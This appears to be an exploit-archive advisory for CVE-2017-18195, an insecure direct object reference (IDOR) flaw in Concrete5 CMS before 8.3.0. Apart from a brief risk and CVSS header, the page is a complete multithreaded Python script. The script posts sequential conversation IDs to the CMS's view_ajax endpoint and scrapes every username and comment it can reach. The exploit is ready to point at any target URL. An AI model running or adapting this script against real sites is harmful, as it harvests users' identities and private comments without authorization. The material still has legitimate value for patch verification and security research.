Concrete5 < 8.3.0 Username / Comments Enumeration

2018.02.28
Risk: Medium
Local: No
Remote: No
CWE: CWE-20


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

#!/usr/bin/env python3 # Concrete5 < 8.3 vulnerable to Authorization Bypass Through User-Controlled Key (IDOR) # CVE-2017-18195 # Chapman (R3naissance) Schleiss from queue import Queue from threading import Thread from bs4 import BeautifulSoup from tabulate import tabulate import argparse import requests import logging parser = argparse.ArgumentParser( description="This script attempts to enumerate all comments from a vulnerable Concrete5 CMS.", ) parser.add_argument('-u','--url', action='store', dest='url', required=True, help="This is the url to attack. Typically http://example.com/index.php/tools/required/conversations/view_ajax") parser.add_argument('-s','--start', action='store', type=int, dest='start_id', help='Where to start enumeration') parser.add_argument('-e','--end', action='store', type=int, dest='end_id', help='Where to end enumeration') parser.add_argument('-v','--verbose', action='store_true', dest='verbose', help='This boolean flag will trigger all raw information to stdout') args = parser.parse_args() if args.verbose: logging.basicConfig(level=logging.DEBUG, format='[%(levelname)s] - %(threadName)s - %(message)s') else: logging.basicConfig(level=logging.INFO, format='[%(levelname)s] %(message)s') if args.start_id is None: args.start_id = 1 if args.end_id is None: args.end_id = 10 def crawl(q, result): while not q.empty(): work = q.get() logging.debug("Requesting cnvID: " + str(work)) try: response = requests.post(args.url, data={'cnvID': work, 'cID': 1}, timeout=300) logging.debug("Requested cnvID: %s [%s]", str(work), str(response.status_code)) if response.status_code < 400 or response.status_code > 499: logging.debug("Parsing html and adding comments to results list") soup = BeautifulSoup(response.text, 'html.parser') username = soup.find_all('span', {'class': 'ccm-conversation-message-username'}) message = soup.find_all('div', {'class': 'ccm-conversation-message-body'}) for i in range(len(username)): results.append((work, username[i].text.strip(), message[i].text.strip())) logging.info("Completed cnvID: " + str(work)) except: logging.error('Error getting cnvID: ' + str(work)) q.task_done() return True q = Queue(maxsize=0) enum = range(args.start_id, args.end_id + 1) num_theads = min(50, len(enum)) results = [] for i in enum: q.put(i) for i in range(num_theads): logging.debug('Starting thread ' + str(i)) worker = Thread(target=crawl, args=(q, results), name="Thread: " + str(i)) worker.setDaemon(True) worker.start() logging.debug('Waiting for final threads to complete') q.join() logging.info('Enumeration complete') print(tabulate(results, headers=('cnvID', 'username', 'message'), tablefmt='grid'))


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